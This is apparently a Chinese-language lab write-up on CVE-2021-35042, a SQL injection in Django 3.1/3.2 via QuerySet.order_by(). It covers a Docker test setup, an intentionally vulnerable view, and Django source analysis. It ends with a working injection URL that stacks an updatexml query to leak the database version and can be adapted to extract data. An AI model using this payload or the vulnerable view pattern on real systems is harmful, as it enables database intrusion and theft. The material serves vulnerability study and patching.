CVE-2021-35042

CVE-2021-35042

漏洞介紹

Django 是 Python 語言驅動的一個開源模型-視圖-控制器(MVC)風格的 Web 應用程式框架。

漏洞影響版本:django 3.1、3.2

2021年07月01日,Django 發布了3.2.5 和 3.1.13版本,修復了Django中的一個SQL注入漏洞(CVE-2021-35042),Django建議用戶儘快升級。

由於傳遞給QuerySet.order_by()的用戶輸入未經處理,攻擊者可以利用這繞過標記為棄用的路徑中的預期列引用驗證,從而導致SQL注入。

搭建環境

這裡我們使用docker搭建環境

docker-compose.yml 中 ports下面- “映射到物理機的埠:docker容器的埠” ,映射到物理機的埠默認為8000,如果有本機其他埠有衝突可以手動修改。

啟動環境

docker-compose up -d

django源碼分析

url.py

可以理解為url路由

from django.urls import include, path, re_path
from . import views


urlpatterns = [
    path('vuln/', views.vul), # 如果請求//ip:port/vuln/ 就會交給views.py中的vul函數進行處理
]

views.py

處理對應http請求的函數

from django.shortcuts import HttpResponse
from .models import Collection


def vul(request):
    query = request.GET.get('order', default='id') #獲取url中的order的值,如果取不到默認將"id"賦值給query
    q = Collection.objects.order_by(query) # 資料庫查詢操作
    return HttpResponse(q.values()) # 將返回的數據作為響應體返回

models.py

from django.db import models

class Collection(models.Model):
    name = models.CharField(max_length=128)

這裡出漏洞的位置是Collection.objects.order_by,這裡在docker容器中不太好分析/usr/local/lib/python3.8/site-packages/django下的文件,所以我們使用pycharm下載3.1版本的django。

上面views.py中的Collection.objects.order_by 我們ctrl點擊order_by查看django源碼

問題點在1134行的obj.query.add_ordering(*field_names)這裡傳入的參數也就是上面views.py的query

django\db\models\sql\query.py

   def add_ordering(self, *ordering):
        errors = []
        for item in ordering:
            if isinstance(item, str):
                if '.' in item:  # 如果包含.來個警告直接continue 繞過了安全驗證
                    warnings.warn(
                        'Passing column raw column aliases to order_by() is '
                        'deprecated. Wrap %r in a RawSQL expression before '
                        'passing it to order_by().' % item,
                        category=RemovedInDjango40Warning,
                        stacklevel=3,
                    )
                    continue
                if item == '?':  # 如果item完全等於?也繞過了安全驗證,但是無法利用 
                    continue
                if item.startswith('-'): # 如果以-開頭對item進行處理,無法漏洞利用
                    item = item[1:]
                if item in self.annotations: 
                    continue
                if self.extra and item in self.extra:
                    continue

                self.names_to_path(item.split(LOOKUP_SEP), self.model._meta) # 對參數進行安全驗證
            elif not hasattr(item, 'resolve_expression'):
                errors.append(item)
            if getattr(item, 'contains_aggregate', False):
                raise FieldError(
                    'Using an aggregate in order_by() without also including '
                    'it in annotate() is not allowed: %s' % item
                )
        if errors:
            raise FieldError('Invalid order_by arguments: %s' % errors)
        if ordering:
            self.order_by += ordering
        else:
            self.default_ordering = False

最方便的還是傳入的參數中包含”.”這樣就可以直接繞過安全驗證直接去sql字元串拼接

sql語句拼接的位置

django\db\models\sql\compiler.py

django\db\models\sql\compiler.py—>class SQLCompiler—->def get_order_by(self)

這裡便利上面傳下來的ordering ,這裡有一個判斷條件如果.在field中col沒有經過處理直接丟進去了

現在其實就成了 select xxx from xxxx xxxxx orderby (這裡可控);

漏洞復現

//ip:port/vuln/?order=vuln_collection.name);select updatexml(1, concat(0x7e,(select @@version)),1)%23
經過處理後就變成了下面的sql語句
select xxx from xxxx xxxxx  orderby (vuln_collection.name);select updatexml(1, concat(0x7e,(select @@version)),1)%23

接著查看錶查看數據什麼的 修改 “select @@version”這一部分即可

Tags: